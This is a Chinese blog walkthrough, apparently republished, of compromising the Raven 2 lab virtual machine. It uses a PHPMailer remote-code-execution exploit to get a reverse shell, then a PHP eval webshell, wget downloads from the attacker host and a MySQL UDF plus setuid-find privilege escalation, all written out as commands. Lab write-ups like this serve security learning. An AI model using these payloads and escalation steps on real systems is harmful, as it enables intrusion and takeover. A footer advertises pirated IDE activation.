Raven 2 靶机渗透

前言近几天比较闲,在上周也闲着无聊跑去盒子挖了一周的洞。这周又开始不知道干些啥了,所以就找个靶机来玩玩。Raven2靶机渗透搭建完环境后,发现并没有登录账号和密码,使用御剑高速扫描,先扫描机

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

前言

近几天比较闲,在上周也闲着无聊跑去盒子挖了一周的洞。这周又开始不知道干些啥了,所以就找个靶机来玩玩。

Raven 2 靶机渗透

搭建完环境后,发现并没有登录账号和密码,使用御剑高速扫描,先扫描机器的ip和端口,看看有没有啥能利用到的。
Raven 2 靶机渗透

发现了192.168.27.136 ip 并且80端口和22端口是开启的,首先先从80端口,尝试 来尝试扫描目录。
Raven 2 靶机渗透

扫描目录时,发现了/vendor/目录并且有个wordpress 这时候就可以来尝试一下wp的漏洞了,直接上wpscan 来扫描,没有就放弃。

Raven 2 靶机渗透

连接超时!!! 果断放弃!!!

但是作为一个年轻小伙子怎么能说放弃,要坚持!!![手动狗头][手动狗头]

翻找一下刚刚的目录看看还能不能找到啥东西,当我点开/vendor/目录的时候,发现存在一个目录遍历漏洞。
Raven 2 靶机渗透

点开readme.md 发现是个PHPMailer

Raven 2 靶机渗透

由于以前也没见过,上百度查了一下才知道是个发送电子邮件的函数包。

去百度查找了一下 居然有命令执行漏洞。

为了方便,直接就在kali里面的漏洞库去查找exp

searchsploit phpmailer

Raven 2 靶机渗透

这里有好几个exp,但是也不能一个一个去试,利用条件不一样,还得去查找的他版本。
在我开启vendor/version文件的时候,直接就显示了版本

Raven 2 靶机渗透

确定版本后就可以直接下载exp了,

searchsploit -m 40974.py

Raven 2 靶机渗透

首先查看一下代码。
Raven 2 靶机渗透

这里的garget 和socket的connect的ip需要修改还有需要修改的是email字典后面的路径,这个是写入地址的绝对路径。

那么我们还需要查找他的绝对路径。

http://192.168.27.136/vendor/PATH

文件里面查找到了路径,而且拿下了一个flag。

Raven 2 靶机渗透

这里并不打算去拿flag,而是直接拿权限[手动滑稽][手动滑稽]。

现在就可以开始来改我们的exp了
Raven 2 靶机渗透

这里把target改成了

http://192.168.27.136/contact.php
这个漏洞是基于contact.php的页面产生的漏洞,所以地址得带上这个页面。

在运行exp的时候,py爆了个错误,说我的编码有错误,我立马在头部加了一个utf-8的默认编码方式,但是依然不行,肯定是这个工具启动提示的时候,输出了特殊字符所以才会这样,把它删掉就好了[手动滑稽][手动滑稽]。

Raven 2 靶机渗透

这里直接就执行成功,我们去访问contact.php就会生成一个backdoor.php,访问后可以直接反弹shell了
kali启动一个nc监听

nc -lvp 4444

访问backdoor.php 反弹成功
Raven 2 靶机渗透

nc 模式的shell不支持su交互,使用py进入到伪终端

python -c “import pty;pty.spawn(‘/bin/bash’)”

Raven 2 靶机渗透

输入whoami发现,是个www的权限,权限比较低,还需要进行提权的操作,先来查看一下开放的端口

netstat -ano

Raven 2 靶机渗透

发现他的3306端口是开放的,mysql 5.6以下的默认安装为system权限或者是root权限。这里尝试使用udf提权,先来翻找他的mysql密码,
一般网站需要对数据库进行查询操作的话都是需要连接数据库的,基本上都会去包含数据库的连接文件,而数据库连接文件一般命名为config.inc.php,config.php。
这里就来找一下,进入wordpress目录看到wp-config.php来查看一下。
Raven 2 靶机渗透

翻找到了root账号的密码为:

R@v3nSecurity

然后就可以尝试去udf提权,但是我这嫌nc比较麻烦,所以还是写入一个一句话木马。

echo “<?php eval(@$_POST[‘a’]); ?>” > 1.php

Raven 2 靶机渗透

写入的时候发现post被过滤掉了,后来尝试get和requsts也是一样。

那么就直接换个思路,直接让他去请求远程的文件进行下载

放在服务器上面的时候,不能一脚本格式进行上传,不然脚本会直接运行,将他命名为cmd.txt文件,然后搭建临时web服务

php -S 0.0.0.0:88 -t /root

使用php启动web服务 设置根目录为root

wget http://192.168.3.68:88/cmd.txt

请求文件

mv cmd.txt cmd.php
把文件改名为php后缀,然后使用蚁剑进行连接。

连接成功后,使用管理数据功能,进行mysql连接,查询mysql版本信息。
Raven 2 靶机渗透

这里还有几个注意事项,在mysql 4.1版本前任何的dll文件的函数都能导入到mysql里面去让mysql调用,
mysql 4.1-5.0 版本中,对注册的dll位置做了限制,创建函数时候对应的dll不能包含斜杠或者反斜杠,
不能是绝对路径,所以会将dll导出到systm32目录下,去绕过这个限制。
在mysql5.1版本后,创建函数的dll只能放在mysql的plugin目录下,也就是插件目录

使用mysql语句来查看plugin目录位置

show variables like ‘%plugin%’;

Raven 2 靶机渗透

现在我们还得下载一个linux版本的udf

searchsploit udf

searchsploit -m 1518.c

从漏洞库把udf下载下来后,是个c文件还得使用gcc进行编译后才能使用

gcc -g -c 1518.c

gcc -g -shared -o udf.so 1518.o -lc

编译完成后,使用wget远程下载

wget http://192.168.3.68:88/udf.so

数据库创建表:

create table nice(line blob);

表中插入udf.so的数据

insert into nice values(load_file(‘/var/www/html/udf.so’));

插入完成后,再使用sql语句从nice表中导出数据到plugin目录下

select * from nice into dumpfile ‘/usr/lib/mysql/plugin/udf.so’;

导出完成后,这里就可以直接创建一个函数,来进行执行命令了

create function do_system returns integer soname ‘udf.so’;

创建完成后可以查询是否创建成功

select * from mysql.func;

select do_system(‘chmod u+s /usr/bin/find’);

touch finn

find finn -exec “/bin/sh” ;

whoami

Raven 2 靶机渗透
提权成功。

cat flag4.txt

[手动狗头][手动狗头]flag真香

Raven 2 靶机渗透

结尾

最近这感冒了,很难受,干啥都没精力,我想我还是需要妹子来温暖我的心
Raven 2 靶机渗透

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/119963.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)
blank

相关推荐

  • 【NOIP2012提高组】国王游戏[通俗易懂]

    【NOIP2012提高组】国王游戏[通俗易懂]题目描述恰逢H国国庆,国王邀请n位大臣来玩一个有奖游戏。首先,他让每个大臣在左、右手上面分别写下一个整数,国王自己也在左、右手上各写一个整数。然后,让这n位大臣排成一排,国王站在队伍的最前面。排好队后,所有的大臣都会获得国王奖赏的若干金币,每位大臣获得的金币数分别是:排在该大臣前面的所有人的左手上的数的乘积除以他自己右手上的数,然后向下取整得到的结果。国王不希望某一个大臣获得特别多…

  • 智慧小区门禁好处多,你都get到了吗?「建议收藏」

    智慧小区门禁好处多,你都get到了吗?「建议收藏」现在,人们越来越注重信息安全、财产安全、人身安全。随着科技与人工智能的发展,门禁系统也进行升级,智慧门禁系统逐渐进入人们视野,智慧社区服务正在进行。智慧小区门禁识别技术设计原则人性化“人”是主体,系统设计应紧紧围绕着人们的实际需求,以实用、简便、经济、安全的原则,同时照顾到不同人群的需要,满足用户使用门禁功能。智慧小区门禁由于没有分机,没有大量布线,维护成本不到传统门禁的20%。智能门禁厂家可以…

    2022年10月17日
  • ubuntu pycharm2021.12 profession激活码【2021.10最新】

    (ubuntu pycharm2021.12 profession激活码)本文适用于JetBrains家族所有ide,包括IntelliJidea,phpstorm,webstorm,pycharm,datagrip等。https://javaforall.cn/100143.htmlIntelliJ2021最新激活注册码,破解教程可免费永久激活,亲测有效,上面是详细链接哦~F…

  • 使用百度echarts制作可视化大屏——最终效果和动态数据刷新「建议收藏」

    使用百度echarts制作可视化大屏——最终效果和动态数据刷新「建议收藏」最终效果如下图:接下来就是数据动态刷新了,这个没什么好说的,就是一个$.post的事,传递一个json给自定义的resresh函数就行了。$.post(url,null,function(d){resresh(d);},’json’);总结下来,有以下一些心得:1、大屏里面,设计是第一位的;2、要言之有物;3、能…

    2022年10月12日
  • 连接kafka报错:1 partitions have leader brokers without a matching listener「建议收藏」

    连接kafka报错:1 partitions have leader brokers without a matching listener「建议收藏」服务输出部分错误日志截图2020/12/25下午2:32:442020-12-2514:32:44.320WARN[tag-service,,,]1—[ntainer#4-0-C-1]org.apache.kafka.clients.NetworkClient:[ConsumerclientId=consumer-5,groupId=statistic-processor]1partitionshaveleaderbrokerswithoutamatchi

  • mysql修改表名

    mysql修改表名ALTER TABLE table_nameRENAMETOnew_table_name

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号